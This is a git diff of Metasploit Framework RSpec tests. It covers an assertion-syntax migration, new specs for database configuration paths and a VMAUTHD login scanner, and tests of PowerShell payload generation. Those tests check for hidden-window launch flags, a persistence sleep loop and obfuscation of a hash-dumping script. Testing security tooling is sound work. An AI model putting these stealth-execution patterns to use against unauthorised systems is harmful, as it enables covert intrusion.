@ -157,11 +157,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
end end
@ -171,11 +171,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
end end
end end
@ -194,7 +194,7 @@ describe FastLib do
# ensure modules expected to be listed actually exist # ensure modules expected to be listed actually exist
it 'should use existent unarchived modules' do it 'should use existent unarchived modules' do
unarchived_paths.each do |unarchived_path| unarchived_paths.each do |unarchived_path|
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
end end
end end

View File

@ -22,7 +22,7 @@ describe Metasploit::Framework::Credential do
describe "#paired" do describe "#paired" do
it "defaults to true" do it "defaults to true" do
expect(cred_detail.paired).to be_true expect(cred_detail.paired).to be_truthy
end end
end end

View File

@ -0,0 +1,670 @@
require 'spec_helper'
RSpec.describe Metasploit::Framework::Database do
context 'CONSTANTS' do
context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do
subject(:configurations_pathname_precedence) {
described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE
}
it { is_expected.to match_array(
[
:environment_configurations_pathname,
:user_configurations_pathname,
:project_configurations_pathname
]
) }
end
end
context '.configurations_pathname' do
subject(:configurations_pathname) {
described_class.configurations_pathname(*arguments)
}
context 'with options' do
let(:arguments) {
[
{
path: path
}
]
}
context 'with :path' do
context 'that exists' do
let(:path) {
tempfile.path
}
let(:tempfile) {
Tempfile.new(['database', '.yml'])
}
it 'returns Pathname(path)' do
expect(configurations_pathname).to eq(Pathname.new(path))
end
end
context 'that does not exist' do
let(:path) {
'/a/configurations/path/that/does/not/exist/database.yml'
}
it { is_expected.to be_nil }
end
end
context 'without :path' do
let(:path) {
''
}
it 'calls configurations_pathnames' do
expect(described_class).to receive(:configurations_pathnames).and_call_original
configurations_pathname
end
it 'returns first pathname from configurations_pathnames' do
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
end
end
end
context 'without options' do
let(:arguments) {
[]
}
it 'calls configurations_pathnames' do
expect(described_class).to receive(:configurations_pathnames).and_call_original
configurations_pathname
end
it 'returns first pathname from configurations_pathnames' do
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
end
end
end
context '.configurations_pathnames' do
subject(:configurations_pathnames) {
described_class.configurations_pathnames
}
before(:each) do
allow(described_class).to receive(:environment_configurations_pathname).and_return(
environment_configurations_pathname
)
end
context 'with environment_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:environment_configurations_pathname) {
Pathname.new(environment_configurations_tempfile.path)
}
let(:environment_configurations_tempfile) {
Tempfile.new(['environment_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:user_configurations_pathname).and_return(
user_configurations_pathname
)
end
context 'with user_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new(user_configurations_tempfile.path)
}
let(:user_configurations_tempfile) {
Tempfile.new(['user_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml')
}
it 'is [environment_configurations_pathname, user_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [environment_configuration_pathname, user_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname
]
)
end
end
end
context 'with does not exist' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [environment_configurations_pathname, project_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is [environment_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [environment_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname
]
)
end
end
end
end
context 'without user_configurations_pathname' do
#
# lets
#
let(:user_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'contains only the environment_configuration_pathname' do
expect(configurations_pathnames).to match_array([environment_configurations_pathname])
end
end
end
end
context 'that does not exist' do
end
end
context 'without environment_configurations_pathname' do
#
# lets
#
let(:environment_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:user_configurations_pathname).and_return(
user_configurations_pathname
)
end
context 'with user_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new(user_configurations_tempfile.path)
}
let(:user_configurations_tempfile) {
Tempfile.new(['user_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [user_configurations_pathname, project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is [user_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [user_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname
]
)
end
end
end
context 'that does not exist' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to eq([])
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to eq([])
end
end
end
end
context 'without user_configurations_pathname' do
#
# lets
#
let(:user_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to be_nil
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to be_nil
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to eq([])
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it { is_expected.to eq([]) }
end
end
end
end
context '.environment_configurations_pathname' do
subject(:environment_configurations_pathname) {
described_class.environment_configurations_pathname
}
around(:each) do |example|
env_before = ENV.to_hash
begin
example.run
ensure
ENV.update(env_before)
end
end
context 'with MSF_DATABASE_CONFIG' do
before(:each) do
ENV['MSF_DATABASE_CONFIG'] = msf_database_config
end
context 'with blank' do
let(:msf_database_config) {
''
}
it { is_expected.to be_nil }
end
context 'without blank' do
let(:msf_database_config) {
'msf/database/config/database.yml'
}
it 'is Pathname of MSF_DATABASE_CONFIG' do
expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config))
end
end
end
context 'without MSF_DATABASE_CONFIG' do
it { is_expected.to be_nil }
end
end
context '.project_configurations_pathname' do
subject(:project_configurations_pathname) {
described_class.project_configurations_pathname
}
it 'is <metasploit-framework>/config/database.yml' do
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent
expect(project_configurations_pathname).to eq(root.join('config', 'database.yml'))
end
end
context '.user_configurations_pathname' do
subject(:user_configurations_pathname) {
described_class.user_configurations_pathname
}
#
# lets
#
let(:config_root) {
Dir.mktmpdir
}
#
# Callbacks
#
around(:each) do |example|
begin
example.run
ensure
FileUtils.remove_entry_secure config_root
end
end
before(:each) do
expect(Msf::Config).to receive(:get_config_root).and_return(config_root)
end
it 'is database.yml under the user config root' do
expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml'))
end
end
end

View File

@ -29,14 +29,14 @@ describe Metasploit::Framework::LoginScanner::Result do
context '#success?' do context '#success?' do
context 'when the status code is success' do context 'when the status code is success' do
it 'returns true' do it 'returns true' do
expect(login_result.success?).to be_true expect(login_result.success?).to be_truthy
end end
end end
context 'when the status code is anything else' do context 'when the status code is anything else' do
let(:status) { :connection_error } let(:status) { :connection_error }
it 'returns false' do it 'returns false' do
expect(login_result.success?).to be_false expect(login_result.success?).to be_falsey
end end
end end
end end

View File

@ -0,0 +1,46 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/vmauthd'
describe Metasploit::Framework::LoginScanner::VMAUTHD do
subject(:scanner) { described_class.new }
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
context "#attempt_login" do
let(:pub_blank) do
Metasploit::Framework::Credential.new(
paired: true,
public: "public",
private: ''
)
end
context "Raised Exceptions" do
it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(Timeout::Error)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(EOFError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
end
end
end

View File

@ -10,28 +10,28 @@ describe Msf::Auxiliary::DRDoS do
mod mod
end end
describe '#prove_drdos' do describe '#prove_amplification' do
it 'should detect drdos when there is packet amplification only' do it 'should detect drdos when there is packet amplification only' do
map = { 'foo' => [ 'a', 'b' ] } map = { 'foo' => [ 'a', 'b' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should detect drdos when there is bandwidth amplification only' do it 'should detect drdos when there is bandwidth amplification only' do
map = { 'foo' => [ 'foofoo' ] } map = { 'foo' => [ 'foofoo' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should detect drdos when there is packet and bandwidth amplification' do it 'should detect drdos when there is packet and bandwidth amplification' do
map = { 'foo' => [ 'foofoo', 'a' ] } map = { 'foo' => [ 'foofoo', 'a' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should not detect drdos when there is no packet and no bandwidth amplification' do it 'should not detect drdos when there is no packet and no bandwidth amplification' do
map = { 'foo' => [ 'foo' ] } map = { 'foo' => [ 'foo' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be false result.should be false
end end
end end

View File

@ -332,7 +332,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -348,7 +348,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -358,7 +358,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end
end end
@ -375,7 +375,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -385,7 +385,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end
end end
@ -402,7 +402,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -412,7 +412,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end

View File

@ -43,13 +43,13 @@ describe Msf::Exploit::Powershell do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
compressed.length.should be < script.length compressed.length.should be < script.length
compressed.include?('IO.Compression').should be_true compressed.include?('IO.Compression').should be_truthy
end end
it 'should create a compressed script with eof' do it 'should create a compressed script with eof' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script, 'end_of_file') compressed = subject.compress_script(script, 'end_of_file')
compressed.include?('end_of_file').should be_true compressed.include?('end_of_file').should be_truthy
end end
end end
@ -108,7 +108,7 @@ describe Msf::Exploit::Powershell do
it 'should substitute variables' do it 'should substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_false decompress(compressed).include?('$hashes').should be_falsey
end end
end end
@ -120,7 +120,7 @@ describe Msf::Exploit::Powershell do
it 'shouldnt substitute variables' do it 'shouldnt substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_true decompress(compressed).include?('$hashes').should be_truthy
end end
end end
@ -132,7 +132,7 @@ describe Msf::Exploit::Powershell do
it 'should substitute functions' do it 'should substitute functions' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_false decompress(compressed).include?('DumpHashes').should be_falsey
end end
end end
@ -144,7 +144,7 @@ describe Msf::Exploit::Powershell do
it 'shouldnt substitute variables' do it 'shouldnt substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_true decompress(compressed).include?('DumpHashes').should be_truthy
end end
end end
end end
@ -159,28 +159,28 @@ describe Msf::Exploit::Powershell do
context 'when x86 payload' do context 'when x86 payload' do
it 'should generate code' do it 'should generate code' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('syswow64').should be_true code.include?('syswow64').should be_truthy
end end
end end
context 'when x64 payload' do context 'when x64 payload' do
it 'should generate code' do it 'should generate code' do
code = subject.run_hidden_psh(payload, 'x86_64', encoded) code = subject.run_hidden_psh(payload, 'x86_64', encoded)
code.include?('sysnative').should be_true code.include?('sysnative').should be_truthy
end end
end end
context 'when encoded' do context 'when encoded' do
it 'should generate a code including an encoded command' do it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true) code = subject.run_hidden_psh(payload, arch, true)
code.include?('-nop -w hidden -e ').should be_true code.include?('-nop -w hidden -e ').should be_truthy
end end
end end
context 'when command' do context 'when command' do
it 'should generate code including a -c command' do it 'should generate code including a -c command' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-nop -w hidden -c ').should be_true code.include?('-nop -w hidden -c ').should be_truthy
end end
end end
@ -191,7 +191,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a code including unshorted args' do it 'should generate a code including unshorted args' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
end end
end end
end end
@ -206,7 +206,7 @@ describe Msf::Exploit::Powershell do
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
@ -217,7 +217,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should add a persistance loop' do it 'should add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_true decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
end end
end end
@ -228,7 +228,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt add a persistance loop' do it 'shouldnt add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_false decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
end end
end end
@ -239,7 +239,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should prepend sleep' do it 'should prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_true decompress(code).include?('Start-Sleep -s ').should be_truthy
end end
end end
@ -250,7 +250,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt prepend sleep' do it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false decompress(code).include?('Start-Sleep -s ').should be_falsey
end end
end end
@ -261,7 +261,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt prepend sleep' do it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false decompress(code).include?('Start-Sleep -s ').should be_falsey
end end
end end
@ -272,15 +272,15 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('-namespace Win32Functions').should be_true decompress(code).include?('-namespace Win32Functions').should be_truthy
end end
it 'shouldnt shorten args' do it 'shouldnt shorten args' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -Command').should be_true code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
end end
it 'should include -NoExit' do it 'should include -NoExit' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
end end
end end
@ -291,7 +291,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('System.Runtime.InteropServices;').should be_true decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
end end
end end
@ -302,7 +302,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('GlobalAssemblyCache').should be_true decompress(code).include?('GlobalAssemblyCache').should be_truthy
end end
end end
@ -318,7 +318,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
@ -333,7 +333,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
after do after do
subject.datastore['Powershell::method'] = 'reflection' subject.datastore['Powershell::method'] = 'reflection'
@ -344,7 +344,7 @@ describe Msf::Exploit::Powershell do
context 'when encode_inner_payload' do context 'when encode_inner_payload' do
it 'should contain an inner payload with -e' do it 'should contain an inner payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
code.include?(' -e ').should be_true code.include?(' -e ').should be_truthy
end end
context 'when no_equals is true' do context 'when no_equals is true' do
@ -355,7 +355,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
end end
@ -365,15 +365,15 @@ describe Msf::Exploit::Powershell do
it 'should contain a final payload with -e' do it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
code.include?(' -e ').should be_true code.include?(' -e ').should be_true
code.include?(' -c ').should be_false code.include?(' -c ').should be_falsey
end end
end end
context 'when no_equals is true' do context 'when no_equals is true' do
it 'should contain a final payload with -e' do it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
code.include?(' -e ').should be_true code.include?(' -e ').should be_true
code.include?(' -c ').should be_false code.include?(' -c ').should be_falsey
code.include?('=').should be_false code.include?('=').should be_falsey
end end
end end
context 'when encode_inner_payload is true' do context 'when encode_inner_payload is true' do
@ -384,7 +384,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
end end
@ -392,14 +392,14 @@ describe Msf::Exploit::Powershell do
context 'when remove_comspec' do context 'when remove_comspec' do
it 'shouldnt contain %COMSPEC%' do it 'shouldnt contain %COMSPEC%' do
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
code.include?('%COMSPEC%').should be_false code.include?('%COMSPEC%').should be_falsey
end end
end end
context 'when use single quotes' do context 'when use single quotes' do
it 'should wrap in single quotes' do it 'should wrap in single quotes' do
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
code.include?(' -c \'').should be_true code.include?(' -c \'').should be_truthy
end end
end end
end end
@ -408,27 +408,27 @@ describe Msf::Exploit::Powershell do
it 'should contain no full stop when :no_full_stop' do it 'should contain no full stop when :no_full_stop' do
opts = {:no_full_stop => true} opts = {:no_full_stop => true}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell ").should be_true command.include?("powershell ").should be_truthy
end end
it 'should contain full stop unless :no_full_stop' do it 'should contain full stop unless :no_full_stop' do
opts = {} opts = {}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true command.include?("powershell.exe ").should be_truthy
opts = {:no_full_stop => false} opts = {:no_full_stop => false}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true command.include?("powershell.exe ").should be_truthy
end end
it 'should ensure the path should always ends with \\' do it 'should ensure the path should always ends with \\' do
opts = {:path => "test"} opts = {:path => "test"}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true command.include?("test\\powershell.exe ").should be_truthy
opts = {:path => "test\\"} opts = {:path => "test\\"}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true command.include?("test\\powershell.exe ").should be_truthy
end end
end end

View File

@ -10,12 +10,12 @@ shared_examples "search_filter" do |opts|
accept.each do |query| accept.each do |query|
it "should accept a query containing '#{query}'" do it "should accept a query containing '#{query}'" do
# if the subject matches, search_filter returns false ("don't filter me out!") # if the subject matches, search_filter returns false ("don't filter me out!")
subject.search_filter(query).should be_false subject.search_filter(query).should be_falsey
end end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse] unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should reject a query containing '-#{query}'" do it "should reject a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true subject.search_filter("-#{query}").should be_truthy
end end
end end
end end
@ -23,12 +23,12 @@ shared_examples "search_filter" do |opts|
reject.each do |query| reject.each do |query|
it "should reject a query containing '#{query}'" do it "should reject a query containing '#{query}'" do
# if the subject doesn't matches, search_filter returns true ("filter me out!") # if the subject doesn't matches, search_filter returns true ("filter me out!")
subject.search_filter(query).should be_true subject.search_filter(query).should be_truthy
end end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse] unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should accept a query containing '-#{query}'" do it "should accept a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true # what? why? subject.search_filter("-#{query}").should be_truthy # what? why?
end end
end end
end end

View File

@ -117,7 +117,7 @@ describe Msf::Modules::Loader::Archive do
# this checks that the around(:each) is working # this checks that the around(:each) is working
it 'should have an existent FastLib' do it 'should have an existent FastLib' do
File.exist?(@archive_path).should be_true File.exist?(@archive_path).should be_truthy
end end
it 'should ignore .svn directories' do it 'should ignore .svn directories' do
@ -127,7 +127,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should ignore types that are not enabled' do it 'should ignore types that are not enabled' do
module_manager.type_enabled?(disabled_type).should be_false module_manager.type_enabled?(disabled_type).should be_falsey
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should_not == disabled_type type.should_not == disabled_type
